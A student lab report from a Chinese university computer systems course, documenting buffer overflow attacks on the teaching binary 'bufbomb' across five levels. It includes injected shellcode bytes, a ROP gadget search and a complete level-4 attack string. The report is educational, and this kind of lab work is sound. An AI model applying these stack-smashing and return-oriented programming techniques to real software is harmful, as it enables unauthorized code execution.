華中科技大学

课程实验报告

课程名称: 计算机系统基础实验

实验名称: 缓冲区溢出攻击

院 系: 计算机科学与技术

学 号: <u>U202210755</u>

姓 名: _____章宏宇____

指导教师: _____李专____

一、实验目的与要求

通过分析一个程序(称为"缓冲区炸弹")的构成和运行逻辑,加深对理论课中关于程序的机器级表示、函数调用规则、栈结构等方面知识点的理解,增强反汇编、跟踪、分析、调试等能力,加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握;

实验环境: Ubuntu, GCC, GDB等。

二、实验内容

程序运行过程中,需要输入特定的字符串,使得程序达到期望的运行效果。

对一个可执行程序"bufbomb"实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插入到栈中特定内存位置)和行为,以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 getbuf 读入一个字符串。根据不同的任务,学生生成相应的攻击字符串。

实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击(完成的顺序没有固定要求)。按从易到难的顺序,这些难度级分别命名为 smoke (level 0)、fizz (level 1)、bang (level 2)、boom (level 3)和 kaboom (level 4)。

1、第0级 smoke

正常情况下,getbuf 函数运行结束,执行最后的 ret 指令时,将取出保存于栈帧中的返回(断点)地址并跳转至它继续执行(test 函数中调用 getbuf 处)。要求将返回地址的值改为本级别实验的目标 smoke 函数的首条指令的地址, getbuf 函数返回时,跳转到 smoke 函数执行,即达到了实验的目标。

2、第1级 fizz

要求 getbuf 函数运行结束后,转到 fizz 函数处执行。与 smoke 的差别是,fizz 函数有一个参数。 fizz 函数中比较了参数 val 与 全局变量 cookie 的值,只有两者相同(要正确打印 val)才能达到目标。

3、第2级 bang

要求 getbuf 函数运行结束后,转到 bang 函数执行,并且让全局变量 global_value 与 cookie 相同(要正确打印 global value)。

4、第3级 boom

无感攻击,执行攻击代码后,程序仍然返回到原来的调用函数继续执行,使得调用函数 (或者程序用户)感觉不到攻击行为。

构造攻击字符串,让函数 getbuf 将 cookie 值返回给 test 函数,而不是返回值 1 。还原被破坏的栈帧状态,将正确的返回地址压入栈中,并且执行 ret 指令,从而返回到 test函数。

5、第4级 kaboom

一个函数的栈帧的地址通常并不是固定的,随程序运行实例的不同而不同,即每次运行有一个随机的、不固定的值。在此种条件下,要求 getbuf (getbufn) 函数返回 cookie 的值,

而不是返回值 1,并且能正确回到调用函数处继续执行。

三、实验记录及问题回答

- (1) 实验任务的实验记录
 - 1. 第 0 级 smoke

首先, 进入 gdb, 用 disass /rs getbuf 查看 getbuf 的汇编代码,如下图

```
55 <sub>|</sub> 48 89 e5
                   <+1>:
                                                                         %rsp,%rbp
$0x30,%rsp
%rdi,-0x28(%rbp)
                                                             mov
                                   48 83 ec 30
48 89 7d d8
89 75 d4
                   <+8>:
                                                             mov
                                                                          %esi.-0x2c(%rbp)
                                                             mov
  char buf[NORMAL_BUFFER_SIZE]
Gets(buf,src,len);
                   <+15>:
                                                             mov
                   <+18>:
                                   48 8b 4d d8
48 8d 45 e0
                                                             mov
lea
                                                                         -0x28(%rbp),%rcx
-0x20(%rbp),%rax
                   <+22>:
                                   48 89 ce
48 89 c7
e8 b3 f9
                                                                         %rcx,%rsi
%rax,%rdi
                   <+26>:
                                                             mov
                   <+29>:
                                                             mov
call
                   <+32>:
                                   b8 01 00 00 00 mov
                                                                         $0x1,%eax
00000401c4a <+42>:
                                                leave
```

分析以上代码,发现第一个参数%rdi 的值就是 buf 的首地址,为%rbp-0x20,结合已学知识可知%rbp 中存的是上个栈帧的%rbp,%rbp-0x8 存的是返回地址,所以需要把 smoke 的地址放到 buf [40]处。输出告诉我们了 smoke 的地址,所以攻击字符串如下图:

执行程序, 攻击成功。

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string1.txt 0
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string1.txt
level : 0
smoke : 0x0x4012c4    fizz : 0x0x4012eb    bang : 0x0x401349
welcome U202210755
buf address: 0x7ffde97fcaa0
Smoke!: You called smoke()
NICE JOB!
```

2. 第1级 fizz

首先查看 fizz 函数的汇编代码

发现比较时是比较 %eax 和 -0x4(%rbp), 而%eax 存的就是 cookie 的值。所以思路也很简单,只需要修改%rbp 的值,让他指向 buf [4],然后 buf [0]中存 cookie 的值即可。

先查看 getbuf 的栈帧地址,如下图:

可得 buf 的地址为 0x7fffffffffffc0,那么只需要把 buf[32]-buf[39]设为 buf+0x4,这样-0x4(%rbp)就是 cookie 的值了。修改返回地址的方法与 level0 一致。攻击字符串如下:

Debug 顺利通过,直接执行程序,发现 misfire,十分奇怪:

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string2.txt 1
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string2.txt
level : 1
smoke : 0x0x4012c4    fizz : 0x0x4012eb    bang : 0x0x401349
welcome    U202210755
buf address: 0x7fffffffdd80
Misfire: You called fizz(0xffffe287)
```

仔细观察输出,发现 buf 地址不一致,可能是 gdb 和 release 的栈地址有差别,只修改攻击字符串的栈地址内容,再执行一遍,可以通过。

3. 第 2 级 bang

首先,查看 bang 函数的汇编代码,如图:

发现两个 mov 都是直接访问了静态数据段,那么修改%rbp 就无事于补了。参考老师的提示,本关需要打开栈指令可执行化,想到应该是把 buf 的内容当作机器指令执行来修改 global value。

于 是 观 察 bang 的 汇 编 代 码 , 可 得 bang 函 数 的 首 地 址 为 0x401349 , &global_value=0xx404150, %cookie=0x404148。由这些值写出汇编代码:

```
lab3 > all > ASM bang.s

1 mov 0x404148, %eax
2 mov %eax, 0x404150
3 mov $0x401349, %rdx
4 jmpq *%rdx
```

用 gcc -c bang. s -o bang. o, 然后再用 objdump -d bang. o 来查看机器指令:

根据结果来构造攻击字符串,但奇怪的是在程序运行过程中发现出现了段错误,还是在 printf 中。

```
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7dff0d0 in __vfprintf_internal (s=0x7ffff7fa5780 <_IO_2_1_stdout_>, format=0x402070 "Bang!: You set global_va
lue to 0x%x\n", ap=ap@entry=0x7fffffffdef8, mode_flags=mode_flags@entry=0) at ./stdio-common/vfprintf-internal.c:1244

1244 ./stdio-common/vfprintf-internal.c: No such file or directory.
```

在我锲而不舍地尝试中,怀疑是 printf 会逐级检查返回地址,无效的返回地址会导致报错,故只需要**恢复返回地址**即可,即先 push 进一个合法的代码段地址,比如 test 中调 getbuf 的下一行。修改后的攻击字符串如图:

直接执行,攻击成功!

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string3.txt 2
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string3.txt
level : 2
smoke : 0x0x4012c4  fizz : 0x0x4012eb  bang : 0x0x401349
welcome U202210755
buf address: 0x7fffffffdd80
Bang!: You set global_value to 0xc0d7dc3
NICE JOB!
```

4. 第 3 级 boom

根据任务提示,发现是要在 test 函数中比较,故先查看 test 的汇编代码:

```
<+166>:
                                      8b 55 e4
                                                         mov
   0x0000000000040145b <+169>:
0x0000000000040145f <+173>:
                                      48 8b 45 e8
                                                                  -0x18(%rbp),%rax
                                                         mov
                                      89 d6 mov
48 89 c7
                                                        %edx,%esi
   0x0000000000401461 <+175>:
0x0000000000401464 <+178>:
                                                         mov
                                                                  %rax,%rdi
                                      e8 b7 07 00 00
                                                         call
                                                                  %eax,-0x4(%rbp)
                                                         mov
217
218
219
              /*
if (local != uniqueval()) {
   printf("Sabotaged!: the stack has been corrupted\n");
             if (val
                          cookie)
                          <+186>:
                                      8b 05 d6 2c 00 00
                                                                           0x2cd6(%rip),%eax
                                                                                                          # 0x404148 <cookie>
                                                                   mov
                                                                  %eax,-0x4(%rbp)
                                      39 45 fc
                                                       cmp
                          <+195>
                                      75 25
                                                        0x40149c <test+234>
```

仔细观察发现, val 就是-0x4(%rbp),而我们要修改的就是%eax 的值。有 level2 的经验, 容易想到还是跳到 buf, 依次执行机器指令, 修改%eax 的值即可。

但注意到任务中要求要还原被破坏的栈帧状态,那么我们只需要补上一句恢复%rbp 的指令即可。观察 test 的汇编代码,发现%rbp=%rsp+0x30,故修改即可。汇编代码如下:

```
000000000000000000000 <.text>:
   0:
        8b 04 25 48 41 40 00
                                   mov
                                           0x404148, %eax
                                           %rsp,%rbp
        48 89 e5
   7:
                                   mov
        48 83 c5 30
                                    add
                                           $0x30,%rbp
   a:
         68 69 14 40 00
                                           $0x401469
   e:
                                   push
  13:
        с3
                                   ret
```

跳转方式与 level2 同理,直接执行,攻击成功!

```
mystle@Lenovo16plus:~/csappexp/lab3/all$ ./bufbomb U202210755 string4.txt 3
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string4.txt
level : 3
smoke : 0x0x4012c4  fizz : 0x0x4012eb bang : 0x0x401349
welcome U202210755
buf address: 0x7fffffffdd80
Boom!: getbuf returned 0xc0d7dc3
NICE JOB!
Userid:
Cookie: 0xc0d7dc3
```

5、第4级 kaboom

首先,开启地址随机化,观察 buf 的地址:

```
/csappexp/lab3/level4$ ./bufbomb U202210755 string5.txt 4
user id : U20221075<u>5</u>
cookie : 0xc0d7dc3
hex string file : string5.txt
level : 4
smoke : 0x0x4012c4
                      fizz: 0x0x4012eb bang: 0x0x401349
welcome U202210755
bufn:0x7ffdb0037050
Segmentation fault
   tle@Lenovo16plus:~/csappexp/lab3/level4$ ./bufbomb U202210755 string5.txt 4
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string5.txt
level : 4
smoke : 0x0x4012c4
                     fizz: 0x0x4012eb bang: 0x0x401349
welcome U202210755
bufn:0x7ffd90eda750
Segmentation fault
```

注意到 bufn 的差别巨大,也就是说滑动攻击(利用一堆空指令来增加命中率)的方法无效。那么只能另寻它路。

在 getbufn 的 ret 处打上断点,观察各寄存器的值:

```
      (gdb) i reg rdi

      rdi
      0x7fffffffffc0
      140737488347072

      (gdb) i reg rsi
      0x405890
      4216976

      (gdb) i reg eax
      0x1
      1
```

注意到 rdi 中保存的就是 bufn 的地址,故自然产生一个想法,只需要执行"jmp rdi"即可。发现二进制位 ff e7,所以思路就为找到内存中 0xe7ff 的段即可。

在 gdb 中先执行 info proc mappings,找到可执行代码段,即下图的 r-xp 段:

```
Offset
                          End Addr
                                                                      Perms
0x400000
                          0x401000
                                            0x1000
                                                               0x0
                                                                                 /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
                                                                      r--р
                                                                                /home/mystle/csappexp/lab3/level4/bufbomb (deleted)
/home/mystle/csappexp/lab3/level4/bufbomb (deleted)
/home/mystle/csappexp/lab3/level4/bufbomb (deleted)
                          0x402000
0×401000
                                            0x1000
                                                           0x1000
                                                                      r-xp
                                            0×1000
0×402000
                          0x403000
                                                           0x2000
0x403000
                          0×404000
                                            0x1000
                                                           0x2000
                          0×405000
                                                           0x3000
                                                                                 /home/mystle/csappexp/lab3/level4/bufbomb
```

在可执行代码段中寻找 jmp rdi:

```
(gdb) find 0x401000, 0x402000, 0xe7ff Pattern not found.
```

可惜没有找到,原因是代码段实在是太短,找到需要的指令的可能性极低。接下来有两种 思路,一种是修改源代码,第二种是把动态链接改成静态链接。

在这我采用第二种方法,即把编译选项改为:

```
gcc -static -g -D U5 -fno-stack-protector -no-pie -fcf-protection=none -z execstack bufbomb.c buf.c support.c -o bufbomb
```

这里我用了一个软件叫 ROPgadget,可以很方便的查找指令,支持模糊查找等筛选方法,而且自动在可执行代码段中查找,十分方便。采用 ROP(Return Oriented Programming)的思路,找小 gadget:

```
Gadgets information
                                        push -0x7d; ret
push -0x7d; ret
push -0x9ffffff; ret 0x7501

: push 0x5d01000e; ret

: push qword ptr [rbp + rax - 0x18]; ret 0x7408

: push qword ptr [rbp + rcx*2 - 0x77]; ret 0x60

: push qword ptr [rbp + rcx*2 - 0x77]; ret 0x8948

: push qword ptr [rbx + 1]; ret

: push qword ptr [rdi + 0x51]; ret

: push qword ptr [rdi + 0x56]; ret

: push qword ptr [rdi + 0x56]; ret

- push qword ptr [rdi + 0x56]; ret

- push qword ptr [rdi + 0x3]; ret
                      044cc94 :
0x00000000000488db1
                        9422316
                      94h4d45
                       04587b0:
                       04596cc
                      0458abc
                                                                           [rdi + 0xa] ; ret
[rdi + 1] ; ret
                      9948b193
                                           push qword ptr
                       94980dc
                                                      qword ptr
                                          push
                                          push qword ptr [rdi + 4]; ret
push qword ptr [rdi + 5]; ret
                      0459529
                      90458b50
                      04594bd
                                          push qword ptr [rdi + 8] ; ret
push qword ptr [rsi + riz*2 - 0x77] ; ret 0xe283
                       04b31ac :
                                          push rax ; ret
                       945c791
                      99489bfc
                                          push rbp ; ret
push rcx ; ret
                                       : push rdi ; ret 0
: push rdi ; ret 0x4000
                      9949388a
                      04584f8
                      99414d82
                      0458a19 : push rsi ; ret
 x000000000047ca93 : push rsi ; ret 0x7440
x00000000000403ef4 : push rsi ; ret 0xf02
x000000000047d9af : push rsi ; ret 0xf20
                      00427f62 : push rsp ; ret
   0000000000428883 : push rsp ; ret 0xe8f0
```

接下来就需要发挥奇思妙想了。容易**注意到**,getbufn 中 ret 后,%rsp 指向返回地址-1,而我们能修改的不仅仅是 getbufn 的栈帧,实际上考虑到在 testn 中调用 getbufn 后并不会再用到很多局部变量,所以我们也可以破坏 testn 的栈帧。

一言以蔽之: 只需要把所需指令从 testn 的%rsp 开始存, 修改返回地址为 "push rsp; ret"即可,注意需要恢复 rbp 的值。

攻击字符串如下:

```
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
62 7f 42 00 00 00 00 00 // push rsp; ret
8b 04 25 48 83 4e 00
                                0x4e8348, %eax
                      // mov
48 89 e5
                      // mov
                                %rsp,%rbp
48 83 c5 30
                                $0x30,%rbp
                      // add
68 1e 1d 40 00
                      // push
                                $0x401d1e
с3
                      // ret
```

直接执行,攻击成功!

```
mystle@Lenovo16plus:~/csappexp/lab3/level4$ ./bufbomb U202210755 string5.txt 4
user id : U202210755
cookie : 0xc0d7dc3
hex string file : string5.txt
level : 4
smoke : 0x0x401aa3   fizz : 0x0x401aca  bang : 0x0x401b28
welcome  U202210755
bufn:0x7ffd0327ce00
KABOOM!: getbufn returned 0xc0d7dc3
Keep going
Userid: U202210755
Cookie: 0xc0d7dc3
Address of libc: 0x40cbe0
```

(2) 缓冲区溢出攻击中字符串产生的方法描述

- 1. 前几个 level 只需要找到返回地址相对于 buf 的偏移量,修改返回地址为需要的值即可。
- 2. 后面几个需要在栈空间中执行攻击指令,故需要手写汇编代码,并汇编成二进制文件,放入buf中。
- 3. 最后 level4 需要找到. text 段中的可复用的二进制段,故需要特殊的查找工具。我用到的就是 ROPgadget,能找到所有包含 "push|ret"的二进制段,十分方便。

四、体会

首先谈谈我的心路历程吧。一开始两关思路都是一眼出,但 level1 死活就是段错误,卡了一天才发现是 gdb 和 release 版地址不同。好不容易修完 bug, 去做 level2 时又出现了

printf 报错, 百思不得其解。在翘掉一节体育课不断尝试后, 我灵机一动, 想到恢复 call 指令, 即手动 push 一个返回地址。果然轻松解决可行。之后的关卡都如同砍瓜切菜, 直到 level4。

Level4 我是从周五晚上 10 点开始写的,写到 2 点都毫无头绪。耻辱下播后第二天又写了一个下午,还是难以解决。主要问题还是 64 位网上并无解法,同时现有的思路(如 ROP)都受限于较短的代码段导致无法实现。最后问老师才发现可以小幅度修改源程序(。

周一上计算机系统与基础时刚好讲到链接,张宇老师介绍了动态链接和静态链接,我灵机一动,想到能否用 C 标准库来构造 gadget。于是尝试了静态链接的方法。仔细一看,发现果然.text 段多出了许多可执行节,于是我来不及实现,赶忙找李专老师报喜。

之后同学想复现我的做法发现死活段错误,我上手仔细调试才发现就算是 C 标准库也很难找到 jmp *rdi 这条指令。于是又花费了一节数据库课来寻找新的 gadget,最后也是顺利找到。

总而言之,虽然本次实验提示/限制不够清晰,有很多坑/雷,老师的帮助也有限,所有工作都是我独自艰难地不断试错试出来的。但解决问题后的痛快感,分享解决思路后他人的感谢仿佛扫清了一切的负面情绪,唯有自豪感长留于心。

附上博客链接:

解决 printf 报错: http://t.csdnimg.cn/Di6RW

Level4 思路: http://t.csdnimg.cn/odeGP